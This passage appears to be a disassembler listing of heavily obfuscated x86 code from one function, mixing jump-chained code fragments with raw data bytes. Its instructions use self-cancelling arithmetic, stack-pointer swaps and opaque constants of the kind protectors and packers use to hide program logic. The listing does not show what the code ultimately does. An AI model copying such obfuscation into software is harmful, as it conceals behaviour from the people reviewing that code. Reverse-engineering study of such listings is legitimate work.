; ---------------------------------------------------------------------------
		dd 240C8B66h, 69F768h, 241C8900h, 70E95B54h, 81FFFF86h
		dd 2C7h, 243C3300h, 33243C31h, 0E1E9243Ch
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562F5F:				; CODE XREF: sub_542C3C+19E69j
		sub	ebx, 7F6124C2h
		add	ebx, 548C443Fh
		add	ebx, ecx
		sub	ebx, 548C443Fh
		add	ebx, 7F6124C2h
		pop	ecx
		mov	edx, [esp+5Ch+var_5C]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		shr	ecx, 2
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+5Ch+var_5C]
		pop	esp
		mov	[esp+58h+var_58], ebx
		push	[esp+58h+var_58]
		mov	eax, [esp+5Ch+var_5C]
		add	esp, 4
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp+60h+var_60], ebx
		mov	ebx, 3E544C94h
		push	ecx
		mov	ecx, 42F314B5h
		dec	ecx
		jmp	loc_55C3A1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83582434h, 0E36804C4h, 89000009h, 0EC832414h, 0DB33E904h
		dd 0C8BFFFFh, 4C48324h,	415768h, 242C8900h, 42474FFh, 0FF6914E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562FF9:				; CODE XREF: sub_542C3C+21E5Bj
		mov	[esp+64h+var_64], ebx
		mov	ebx, 0
		jmp	loc_564C19
; ---------------------------------------------------------------------------
		dw 18BEh
		dd 0E967026Ah, 0FFFF5921h, 4240481h, 5F000000h,	0FF5D89E9h
		dd 4FD5BBFFh, 0DE8910A1h, 83241C8Bh, 0BE904C4h,	1000053h
		dd 2FFBE9F2h, 0C483FFFFh, 6828E904h, 2C8BFFFFh,	4C48124h
		dd 48000000h, 2DD8F740h, 1C4E9484h, 6A195E35h, 0C4C357Dh
		dd 0D0F7529Ch, 1DD5E9h,	781A0500h, 63E90A73h, 5BFFFFFBh
		dd 8B66D730h, 0C4832414h, 5BF83002h, 0FF32F0E9h, 4B9FFh
		dd 0EF810000h, 274167E8h, 0C781CF29h, 274167E8h, 6D716859h
		dd 3C890000h, 0A6BE924h, 0C681FFFFh, 32EF7D01h,	0FF5900E9h
		dd 240489FFh, 0B652AAB4h, 8EF680F6h, 0E2E9F428h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5630BB:				; CODE XREF: sub_542C3C+176E3j
		or	bl, ah
		jmp	loc_55CE10
; ---------------------------------------------------------------------------
aSsdv		db 'SéDV',0
		align 4

loc_5630C8:				; CODE XREF: sub_542C3C+21B4Bj
		pop	edx
		add	edi, 4
		xor	edi, [esp+3Ch+var_3C]
		jmp	loc_55FDA8
; ---------------------------------------------------------------------------
		db 5Bh
		dd 628AF381h, 0C15E2C47h, 0EB8103EBh, 92A467Eh,	0E3CBA52h
		dd 0D301466Ch, 5BD8295Ah, 83241C8Bh, 2FE904C4h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5630FF:				; CODE XREF: sub_542C3C+1BA8Fj
		mov	ebp, edx
		pop	edx
		not	ebp
		sub	ebp, 78DE1CC5h
		jmp	loc_55FA94
; ---------------------------------------------------------------------------

loc_56310F:				; CODE XREF: sub_542C3C+17557j
		push	245E5B88h
		pop	eax
		shr	eax, 8
		xor	eax, 9714C53h
		not	eax
		push	ebx
		mov	ebx, 29D4210Fh
		sub	ebx, 49107239h
		inc	ebx
		sub	ebx, 0D76E9CA6h
		add	eax, ebx
		push	[esp+90h+var_90]
		pop	ebx
		jmp	loc_5680EE
; ---------------------------------------------------------------------------
		db 50h,	57h, 0BFh
		dd 231D6561h, 0ABE9F889h, 53000046h, 98E9D388h,	8BFFFF80h
		dd 0C483240Ch, 3EEE904h, 0C181FFFFh, 344E2494h,	589ABA52h
		dd 0EA816184h, 1DAD4CAEh, 0FFECDEE9h, 81E389FFh, 4C3h
		dd 4EB8100h, 87000000h,	248B241Ch, 240C8924h, 32E9E189h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563193:				; CODE XREF: sub_542C3C+1FB82j
		push	ebx
		mov	ebx, 0D0E82A65h
		xor	esi, ebx
		jmp	loc_562D0E
; ---------------------------------------------------------------------------
		dd 6D2BD66h, 0B8665066h, 21667E5Ah, 665866C5h, 4A56E945h
		dd 81660000h, 507A03EBh, 51686657h, 85F8E921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5631C6:				; CODE XREF: sub_542C3C+18B14j
		mov	[esp+88h+var_88], esi
		mov	esi, 59357321h
		jmp	loc_5645F5
; ---------------------------------------------------------------------------
		db 81h
		dd 3569ADC6h, 9D3FE97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5631DE:				; CODE XREF: sub_542C3C+17812j
		sub	dh, 39h
		mov	ch, dh
		pop	edx
		push	small 5D4Fh
		mov	word ptr [esp+76h+var_78+2], bx
		mov	bl, 99h
		xor	ch, bl
		pop	bx
		mov	bl, ch
		mov	ecx, [esp+74h+var_74]
		add	esp, 4
		add	bl, dl
		push	[esp+70h+var_70]
		pop	edx
		jmp	loc_55453A
; ---------------------------------------------------------------------------
		db 0B9h, 0EFh, 37h
		dd 0E983139Ah, 0B95157FFh, 20775621h, 16B8E181h, 0C181778Ah
		dd 5F36394Ch, 0FF9B3DE9h, 242489FFh, 4240483h, 0E9242C8Bh
		dd 0FFFFF7EDh, 0FF2434FFh, 83582434h, 895004C4h, 452E9E0h
		dd 0BE56FFFFh, 62EE4C78h, 815EF509h, 4ECh, 0B397E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56325A:				; CODE XREF: sub_542C3C+116AFj
		neg	esi
		jmp	loc_560724
; ---------------------------------------------------------------------------

loc_563261:				; CODE XREF: sub_542C3C+1E1F8j
		pop	eax
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6AE501Bh
		or	edx, 76B62DEEh
		push	edx
		not	[esp+0A2h+var_A2]
		push	[esp+0A2h+var_A2]
		pop	edx
		add	esp, 4
		jmp	loc_5669E7
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24248B24h, 89243489h, 4C681E6h, 0E9000000h, 43E5h, 8704C383h
		dd 0E95C241Ch, 4DE5h, 0E2CCBA52h, 0D331025Ch, 0E92434FFh
		dd 0FFFFB0ADh, 8104C483h, 4C5h,	4C58300h, 393CE9h, 2434FF00h
		dd 0FF620EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5632D5:				; CODE XREF: sub_542C3C+13BE0j
		xor	edx, [esp+80h+var_80]
		xor	[esp+80h+var_80], edx
		xor	edx, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		imul	cx
		push	edx
		push	esp
		mov	edx, [esp+88h+var_88]
		jmp	loc_559923
; ---------------------------------------------------------------------------

loc_5632EE:				; CODE XREF: sub_542C3C+1B91Aj
		mov	edi, [esp+0B6h+var_B6]
		jmp	loc_562F1E
; ---------------------------------------------------------------------------
		dw 159h
		dd 2434FFEAh, 1058E95Dh, 45E9FFFFh
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_563307:				; CODE XREF: sub_542C3C+1CA7Bj
		mov	ebx, [esp+7Ch+var_7C]
		add	esp, 4
		add	esi, 58760B1Ch
		inc	esi
		push	edx
		mov	edx, 961BC708h
		jmp	loc_567D2C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8956240Ch, 33E953E6h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56332F:				; CODE XREF: sub_542C3C+25142j
		push	esp
		jmp	loc_5673EB
; ---------------------------------------------------------------------------

loc_563335:				; CODE XREF: sub_542C3C+1C1A2j
		pop	edi
		jmp	loc_5627E6
; ---------------------------------------------------------------------------

loc_56333B:				; CODE XREF: sub_542C3C+15B93j
		push	7EA2h
		mov	[esp+80h+var_80], ebx
		mov	ebx, 1
		and	eax, ebx
		jmp	loc_561AC4
; ---------------------------------------------------------------------------
		db 46h
		dd 0BB53DEF7h, 5C7648C9h, 5EBC14Bh, 77D1EB81h, 0CB814191h
		dd 2C167A7h, 8102E3C1h,	0BC46FEC3h, 5BDE01AAh, 4F5EF789h
		dd 0FF7AE9E9h, 240481FFh, 5C4F02CBh, 0E924048Bh, 0FFFFD1A7h
		dd 8CE9E189h, 0E9FFFF11h, 0FFFF01B4h
; ---------------------------------------------------------------------------

loc_563398:				; CODE XREF: sub_542C3C+21680j
		sub	ebx, 27121929h
		sub	ebx, eax
		add	ebx, 27121929h
		jmp	loc_568837
; ---------------------------------------------------------------------------
		db 81h
		dd 0B4ADFC7h, 4062E94Fh, 8141FFFFh, 0FF1975C9h,	6BBEE93Fh
		dd 6850FFFFh, 69B9h, 0B2241489h, 2885B003h, 0B5515AD0h
		dd 0E9E80872h, 0FFFF328Ch, 0CCB60F66h, 0FF0B2CE9h, 4EC81FFh
		dd 89000000h, 0C2682414h, 54000041h, 8324048Fh,	5A042404h
		dd 4BF57h, 0FA010000h, 5094E9h,	2434FF00h, 3A685059h, 89000051h
		dd 4812424h, 424h, 24048B00h, 504C483h,	4, 405h, 4798E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563432:				; CODE XREF: sub_542C3C+23D14j
		sub	eax, ebp
		jmp	loc_5600C8
; ---------------------------------------------------------------------------
		db 4Dh,	81h, 0CDh
		dd 75F018D6h, 5EDC145h,	49B3ED81h, 0EB89FA53h, 5BDF295Dh
		dd 2D55EF81h, 8AE9B4CBh, 56FFFF5Bh, 0FF382DE9h,	10C581FFh
		dd 5A6BCD0Bh, 500AC581h, 0C8B491Dh, 4C48324h, 602368h
		dd 242C8900h, 42474FFh,	0E9242C8Bh, 0FFFF3679h,	52D830ACh
		dd 0B3535166h, 5091E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563496:				; CODE XREF: sub_542C3C+20908j
		add	eax, edi
		sub	eax, 385A172Bh
		push	[esp+80h+var_80]
		mov	edi, [esp+84h+var_84]
		jmp	loc_5623B2
; ---------------------------------------------------------------------------
		dd 0F281424Ah, 6FC52B91h, 9287F281h, 0D301D6ADh, 0FFAAEFE9h
		dd 0E95CB6FFh, 0FFFFAAB9h, 0E9241487h, 216Eh, 0BD6EE81h
		dd 0D6014337h, 0FFB871E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5634D9:				; CODE XREF: sub_542C3C+2537Bj
		xchg	edi, esi
		dec	esi
		jmp	loc_55BC51
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0C5h
		dd 3CB76804h, 2C890000h, 2474FF24h, 98F5E904h, 0BAB8FFFFh
		dd 81B95417h, 0B643F7C5h, 0E9C52900h, 0FFFFB6EAh
; ---------------------------------------------------------------------------

loc_563508:				; CODE XREF: sub_542C3C+1C386j
		xor	[esp+78h+var_78], eax
		xor	eax, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		mov	[esp+78h+var_78], ebp
		push	ebx
		jmp	loc_553875
; ---------------------------------------------------------------------------

loc_56351A:				; CODE XREF: sub_542C3C+2113Bj
		pop	esi
		add	esp, 4
		sub	edi, 0C2B599DCh
		xor	eax, edi
		push	[esp+74h+var_74]
		pop	edi
		add	esp, 4
		push	edi
		mov	edi, 34392350h
		sub	edi, 0BB2EDA43h
		add	eax, 385A172Bh
		jmp	loc_563496
; ---------------------------------------------------------------------------
		db 5, 0F1h, 0B1h
		dd 57E9970Bh
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563553:				; CODE XREF: sub_542C3C+151A1j
		pop	esp
		jmp	loc_55FA29
; ---------------------------------------------------------------------------

loc_563559:				; CODE XREF: sub_542C3C+1E6CBj
		mov	ebp, [esp+8Ch+var_8C]
		push	40B8h
		mov	[esp+90h+var_90], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	edi
		jmp	loc_55B0AD
; ---------------------------------------------------------------------------
		db 31h,	0EBh, 8Bh
		dd 0C481242Ch, 4, 1C8BDF01h, 4C48324h, 243C8758h, 0FFBAE95Ch
		dd 0D831FFFEh, 0FF87CBE9h, 84E958FFh, 81FFFFC9h, 0B86069CAh
		dd 94E94A62h, 0ACFFFF65h, 5DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5635B1:				; CODE XREF: sub_542C3C+1C175j
		xchg	ebx, [esp+80h+var_80]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_566DED
; ---------------------------------------------------------------------------

loc_5635BF:				; CODE XREF: sub_542C3C+15966j
		add	edi, 4
		xchg	edi, [esp+90h+var_90]
		pop	esp
		push	edi
		jmp	loc_5611BF
; ---------------------------------------------------------------------------

loc_5635CC:				; CODE XREF: sub_542C3C+22C73j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+94h+var_94]
		pop	esp
		mov	[esp+90h+var_90], ebp
		jmp	loc_55C118
; ---------------------------------------------------------------------------
		dd 8F04C483h, 0E9522404h, 13ABh
; ---------------------------------------------------------------------------

loc_5635F0:				; CODE XREF: sub_542C3C+23552j
		dec	ah
		shr	ah, 1
		jmp	loc_557191
; ---------------------------------------------------------------------------

loc_5635F9:				; CODE XREF: sub_542C3C+16B88j
		pop	ecx
		sub	esi, 3C5C3D78h
		push	eax
		mov	eax, 6AF561F2h
		shl	eax, 8
		jmp	loc_555D20
; ---------------------------------------------------------------------------
		dw 0D830h
		dd 0E617E953h, 1C33FFFFh, 24248B24h, 6A68C80Fh,	8900006Fh
		dd 21E92404h
		db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56362B:				; CODE XREF: sub_542C3C+1F604j
		pop	[esp+70h+var_70]
		pop	esp
		mov	[esp+68h+var_68], ebp
		mov	ebp, 21575A4Fh
		jmp	loc_56174B
; ---------------------------------------------------------------------------
		dd 4EF835Dh, 5C243C87h,	89241C89h, 4C381E3h, 51000000h
		dd 8430B6B9h, 38F18169h, 0F726C034h, 75F181D1h,	1B0BBFBh
		dd 1C3359CBh, 0AF8BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56366E:				; CODE XREF: sub_542C3C+130CDj
		mov	eax, [esp+50h+var_50]
		add	esp, 4
		jmp	loc_56676D
; ---------------------------------------------------------------------------

loc_563679:				; CODE XREF: sub_542C3C+24727j
		add	edx, 4
		jmp	loc_567D6B
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 2, 3359CF01h, 3C31243Ch,	243C3324h, 0E924248Bh
		dd 1E3Ch
; ---------------------------------------------------------------------------

loc_5636A0:				; CODE XREF: sub_542C3C+2356Dj
		push	ecx
		mov	ecx, 658E1D94h
		add	ecx, 0F6AB5171h
		mov	edx, ecx
		pop	ecx
		jmp	loc_55E477
; ---------------------------------------------------------------------------

loc_5636B4:				; CODE XREF: sub_542C3C+11A3Bj
		dec	dh
		or	dh, 0B4h
		add	dh, 0D4h
		jmp	loc_55FAD8
; ---------------------------------------------------------------------------

loc_5636C1:				; CODE XREF: sub_542C3C+1401Aj
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		jmp	loc_55F972
; ---------------------------------------------------------------------------

loc_5636CF:				; CODE XREF: sub_542C3C+252A5j
		and	eax, ebx
		push	[esp+8Ch+var_8C]
		jmp	loc_564BC5
; ---------------------------------------------------------------------------
		db 0BAh, 0CCh, 7
		dd 0DAF75BDAh, 0FFFDC3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5636E5:				; CODE XREF: sub_542C3C+15F66j
		pop	edi
		add	edi, 41804520h
		pop	esi
		push	ecx
		mov	ecx, 381672C9h
		add	edi, ecx
		pop	ecx
		add	edi, eax
		sub	edi, 381672C9h
		jmp	loc_5540CE
; ---------------------------------------------------------------------------
		db 0B4h
		dd 58E7286Dh, 29E9F830h, 66FFFFDEh, 685Ah, 0C280000h, 2B11E924h
		dd 875A0000h, 5B5C2434h, 0FEFE23E9h, 24248BFFh,	2404D366h
		dd 0FE16E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_563736:				; CODE XREF: sub_542C3C+21B57j
		xor	[esp+70h+var_70], ebx
		xor	ebx, [esp+70h+var_70]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	2B69h
		jmp	loc_564349
; ---------------------------------------------------------------------------
		dd 0BD55F701h, 4A476FBAh, 2266E9h, 0D4C68100h, 5B472552h
		dd 0FF114BE9h, 4C181FFh, 83000000h, 0E5E904C1h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563773:				; CODE XREF: sub_542C3C+2345Aj
		add	ebx, 0E9272576h
		jmp	loc_56575A
; ---------------------------------------------------------------------------

loc_56377E:				; CODE XREF: sub_542C3C+23A57j
		pop	ebp
		or	esi, 37AB10BBh
		or	esi, 747F5D24h
		add	esi, 80008245h
		add	ebx, esi
		mov	esi, [esp+6Ch+var_6C]
		jmp	loc_56592D
; ---------------------------------------------------------------------------
		db 83h
		dd 3F6804C1h, 89000029h, 0A0E9240Ch, 83FFFF1Eh,	0C8904ECh
		dd 808FB124h, 0C1FEC4F1h, 0E953C180h, 0FFFFE941h, 243C8B58h
		dd 4C481h, 0BB530000h, 23170B53h, 42685152h, 590DA277h
		dd 0F181D9F7h, 0CF9CB798h, 0FFE2B4E9h, 0C1015EFFh, 6923E981h
		dd 0E9811AB5h, 322D67F3h, 0FF2B60E9h, 1F34BDFFh, 0EFE962BFh
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563803:				; CODE XREF: sub_542C3C+1B685j
		or	ebx, edx
		pop	edx
		shr	ebx, 7
		jmp	loc_55D451
; ---------------------------------------------------------------------------
		dw 8358h
		dd 1C8904ECh, 56E38924h, 1D155ABEh, 0E9514E44h,	0FFFF8FC7h
		dd 0E904C483h, 2098h, 0FF24248Bh, 34FF2434h, 0C4815924h
		dd 4, 121668h, 242C8900h, 91E9E589h, 52FFFFA6h,	2D2324BAh
		dd 9BB5314h, 166E3E4h, 0D6215BDAh, 4EE815Ah, 83001002h
		dd 0C8904ECh, 26C6B924h, 0C1810FB0h, 605BED5Fh,	0C8BCF01h
		dd 4C48324h, 0FFD9F2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563881:				; CODE XREF: sub_542C3C+2020Aj
		sub	bl, al
		push	eax
		jmp	loc_56175B
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 0F7h
		dd 0E18149D9h, 67434AC5h, 2652F181h, 0CA313630h, 83240C8Bh
		dd 0CA8104C4h, 2DE36571h, 0F281DAF7h, 108005B7h, 7DBFEA81h
		dd 0C2817B24h, 5F9643D5h, 148BD789h, 4C48324h, 15FF901h
		dd 66E959CBh
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5638CF:				; CODE XREF: sub_542C3C+13D5Dj
		add	edx, ebp
		jmp	loc_56841A
; ---------------------------------------------------------------------------
		dw 0C868h
		dd 8300003Ch, 348904ECh, 34A1E924h, 0E8C1FFFFh,	162C3506h
		dd 0AD2D6EF5h, 215175DEh, 0DBF758C3h, 0FF3C49E9h, 4EC83FFh
		dd 0E9241C89h, 0FFFF6231h, 4EE815Fh, 87000000h,	248B2434h
		dd 24348924h, 0FF9065E9h, 3DBB53FFh, 894EFF05h,	2346E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56392A:				; CODE XREF: sub_542C3C+16CF9j
		push	cx
		mov	ch, 0D0h
		sub	dh, ch
		pop	cx
		or	dh, 9Bh
		inc	dh
		shr	dh, 4
		push	eax
		jmp	loc_568432
; ---------------------------------------------------------------------------
		dd 6EB0E954h, 29B4FFFFh, 0DBE9E300h, 0B9FFFFB2h, 6DE37D39h
		dd 2FC5BE56h, 0EE832B52h, 0EE8146FFh, 7817194Bh, 27AFC681h
		dd 64E93025h, 89FFFF59h, 34812434h, 47628A24h, 0F759E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56397E:				; CODE XREF: sub_542C3C+23DD7j
		push	esp
		pop	ecx
		add	ecx, 4
		push	5DF3h
		mov	[esp+0A6h+var_A6], edx
		jmp	loc_553838
; ---------------------------------------------------------------------------
		db 59h
		dd 7376E957h, 48FFFFFh,	24048324h, 241C8B04h, 4C481h, 24680000h
		dd 8900000Fh, 6E9240Ch
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5639B7:				; CODE XREF: sub_542C3C+1EB1Aj
		push	ebx
		jmp	loc_55CC5F
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 0F4h
		dd 813B044Fh, 15FFF0F7h, 0E8E952BBh, 59FFFF71h,	41A8BD55h
		dd 0ABE95FA9h, 51FFFFDBh, 6A4D68h, 24248900h, 4240481h
		dd 8B000000h, 0C481240Ch, 4, 47BBD55h, 0D7E93DDEh
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5639FF:				; CODE XREF: sub_542C3C+1CF86j
		push	4598068Eh
		mov	eax, [esp+70h+var_70]
		jmp	loc_55FE11
; ---------------------------------------------------------------------------
		dd 0FFF28958h, 0E95E2434h, 0FFFFD02Dh, 3BF06856h, 4E5E6A2Dh
		dd 0FF540BE9h, 243C33FFh, 0E089505Ch, 405h, 0B0C7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563A36:				; CODE XREF: sub_542C3C+1F8C8j
		dec	eax
		sub	eax, 2DFC39B5h
		jmp	loc_555248
; ---------------------------------------------------------------------------

loc_563A41:				; CODE XREF: sub_542C3C+1CEA9j
		push	eax
		mov	al, 57h
		neg	al
		push	ebx
		push	eax
		mov	al, 4Fh
		mov	bh, 0B7h
		jmp	loc_55FA6C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHbg		db '$h¡G',0
		align 2
		dw 3489h
		dd 4EC8124h, 0E9000000h, 0FFFFAB41h, 1767EA81h,	0F20139EBh
		dd 1767C281h, 0C28139EBh, 4C650A69h, 2C2835Eh, 31241433h
		dd 5CE92414h, 52FFFF83h, 4BAh, 63C68100h, 815DA761h, 0A74C49EEh
		dd 81D6016Eh, 0A74C49C6h, 63EE816Eh, 5A5DA761h,	0FF97B0E9h
		dd 59CB01FFh, 4EC81h, 34890000h, 3BA0BE24h, 0DE92EBEh
		dd 5500003Eh, 2403A8BDh, 0E9595546h, 25C7h, 0C7815A5Fh
		dd 60D21561h, 4573BA52h, 0CA810CB8h, 0E324AD5h,	8104E2C1h
		dd 5D0EEECAh, 7CE94255h, 89FFFF03h, 8B542414h, 0C4812414h
		dd 4, 4548BB53h, 0EBC1385Ah, 93489306h,	257FB850h, 0F2510D5h
		dd 0F74F7153h, 0D30540D0h, 354F9B22h, 47EA4C6Fh, 0E5DE9h
		db 0
; ---------------------------------------------------------------------------

loc_563B2D:				; CODE XREF: sub_542C3C+218E6j
		sub	ebp, edi
		jmp	loc_56475D
; ---------------------------------------------------------------------------

loc_563B34:				; CODE XREF: sub_542C3C+11EF0j
		inc	edx
		and	edx, 2ABD6731h
		xor	edx, 53B8662Ch
		add	ebx, edx
		jmp	loc_5546B4
; ---------------------------------------------------------------------------
		dd 4EDC15Eh, 6414ED81h,	0ED81148Fh, 8857040Ch, 7C2A68h
		dd 24148900h, 474AADBAh, 3FB8507Eh, 1090B72h, 24E958C2h
		dd 81FFFFD6h, 4718ABE1h, 6E12E938h, 5857FFFFh, 8B2434FFh
		dd 0C483243Ch, 4C48304h, 1A82E9h
		db 0
; ---------------------------------------------------------------------------

loc_563B91:				; CODE XREF: sub_542C3C+180B7j
		or	ecx, 6F794BA8h
		inc	ecx
		xchg	ebp, ecx
		not	ebp
		jmp	loc_55F07C
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 0E9000000h, 0FFFFD25Ch, 5B54535Ch, 4C381h, 46E90000h
		dd 1FFFF59h, 36C581CDh,	59125C3Bh, 2C8BE989h, 4C48324h
		dd 8904EC83h, 0EEE9243Ch, 0FF000013h, 0E9042474h, 0FFFFCF79h
		dd 24048B66h, 599768h, 24048900h, 0E9515854h, 0FFFFE2BFh
; ---------------------------------------------------------------------------

loc_563BF4:				; CODE XREF: sub_542C3C+21CBCj
		push	ebp
		push	4C0C5622h
		pop	ebp
		xor	ebp, 11744597h
		xor	ebp, 32D8703Ah
		mov	ecx, ebp
		pop	ebp
		shl	ecx, 3
		sub	ecx, 1A0B3E36h
		add	ecx, 0E20B621Ah
		and	edx, ecx
		pop	ecx
		or	edx, 41B55270h
		add	edx, 731F6E93h
		add	edx, 472B3F01h
		push	4929h
		mov	[esp+0AEh+var_AE], edx
		push	edx
		mov	edx, 1D7768Eh
		xor	[esp+0B2h+var_AE], edx
		pop	edx
		pop	ecx
		xor	ecx, 1D7768Eh
		pop	edx
		add	esi, 9A44BAEh
		add	esi, ecx
		sub	esi, 9A44BAEh
		jmp	loc_5544A8
; ---------------------------------------------------------------------------

loc_563C5C:				; CODE XREF: sub_542C3C+14618j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8Eh+var_90+2]
		pop	esp
		push	29F1h
		jmp	loc_55A00D
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 0E9000000h, 0FFFF7655h
; ---------------------------------------------------------------------------

loc_563C84:				; CODE XREF: sub_542C3C+212CDj
		xchg	ebx, [esp+8Eh+var_90+2]
		jmp	loc_5544E8
; ---------------------------------------------------------------------------
		dd 0E902C483h, 0FFFFCD26h, 6E9C15Ch, 42BF5741h,	0E94E4303h
		dd 1905h, 7FBDF181h, 0CD016CB9h, 0FFF331E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563CB1:				; CODE XREF: sub_542C3C+19C7Ej
		shl	al, 1
		jmp	loc_5556E5
; ---------------------------------------------------------------------------
		dd 555FFD29h, 5D241CF7h, 0E6C7C581h, 6F09DD6Ah,	2434FF1Ch
		dd 9F3FE95Dh, 0C280FFFFh, 5AD088D3h, 0FF94FDE9h, 8B5457FFh
		dd 0C483243Ch, 5D31E904h, 0C181FFFFh, 60B86837h, 80D6E981h
		dd 0CF01D63Ch, 3C60E9h
		db 0
; ---------------------------------------------------------------------------

loc_563CFD:				; CODE XREF: sub_542C3C+1CE38j
		mov	bl, 0B8h
		and	al, bl
		jmp	loc_5610A6
; ---------------------------------------------------------------------------

loc_563D06:				; CODE XREF: sub_542C3C+11710j
		xchg	ebp, [esp+88h+var_88]
		jmp	loc_5577A0
; ---------------------------------------------------------------------------
		dw 51B9h
		dd 0E918DD04h, 0FFFF3294h, 1800012Dh, 0AE27E939h, 8B35FFFFh
		dd 0E96BDAA4h, 1E89h, 0E924348Bh, 0FFFFDC04h
; ---------------------------------------------------------------------------

loc_563D34:				; CODE XREF: sub_542C3C+1E7AAj
		pop	[esp+94h+var_94]
		jmp	loc_56235E
; ---------------------------------------------------------------------------

loc_563D3C:				; CODE XREF: sub_542C3C+1539Cj
		pop	[esp+94h+var_94]
		mov	esp, [esp+90h+var_90]
		push	186Fh
		mov	[esp+94h+var_94], edx
		push	2EE856BBh
		mov	edx, [esp+98h+var_98]
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ebp
		push	53FBh
		mov	[esp+0A0h+var_A2+2], esp
		add	[esp+0A0h+var_A2+2], 4
		jmp	loc_562DFC
; ---------------------------------------------------------------------------

loc_563D6C:				; CODE XREF: sub_542C3C+11FE6j
		xor	esi, 96C4C9Ah
		and	edi, esi
		push	[esp+70h+var_70]
		jmp	loc_56351A
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55714D
; ---------------------------------------------------------------------------
		db 21h,	0C2h, 8Bh
		dd 8FE92404h, 81FFFF35h, 0F5C71C2h, 81DA0170h, 0F5C71EAh
		dd 14875B70h, 33E95C24h, 87000014h, 248B2434h, 0B60F6624h
		dd 0EA6866C8h, 0C89660Dh, 0F786E924h, 5368FFFEh, 59452849h
		dd 81D9F749h, 0D7B6ACE9h, 0CA8952BAh, 8B5AD089h, 0C481240Ch
		dd 4, 3358C201h, 14312414h, 24143324h, 48B665Ch, 0D99FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563DFA:				; CODE XREF: sub_542C3C+1B6A0j
		push	6AD9h
		mov	[esp+88h+var_88], ecx
		jmp	loc_554D4B
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5558C329h, 0FF97B2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563E11:				; CODE XREF: sub_542C3C+1A33Fj
		add	ebx, edx
		sub	ebx, 107C7395h
		push	[esp+84h+var_84]
		pop	edx
		sub	esp, 4
		mov	[esp+88h+var_88], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+88h+var_88]
		jmp	loc_557782
; ---------------------------------------------------------------------------

loc_563E37:				; CODE XREF: sub_542C3C+1EDCFj
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_5574A5
; ---------------------------------------------------------------------------
		dd 0E953DDF7h, 0FFFF5E82h, 2E1C15Ch, 0FFCE981h,	0E9520140h
		dd 0FFFFB718h, 66B6C381h, 0E95F37BEh, 350Bh, 28D7C280h
		dd 0D7EA80EAh, 0FFA928E9h, 0FF5B59FFh, 83592434h, 0E36804C4h
		dd 0E9000074h, 0FFFF01CBh
; ---------------------------------------------------------------------------

loc_563E84:				; CODE XREF: sub_542C3C+15C20j
		mov	[esp+68h+var_68], edx
		push	[esp+68h+var_64]
		pop	edx
		pop	[esp+68h+var_68]
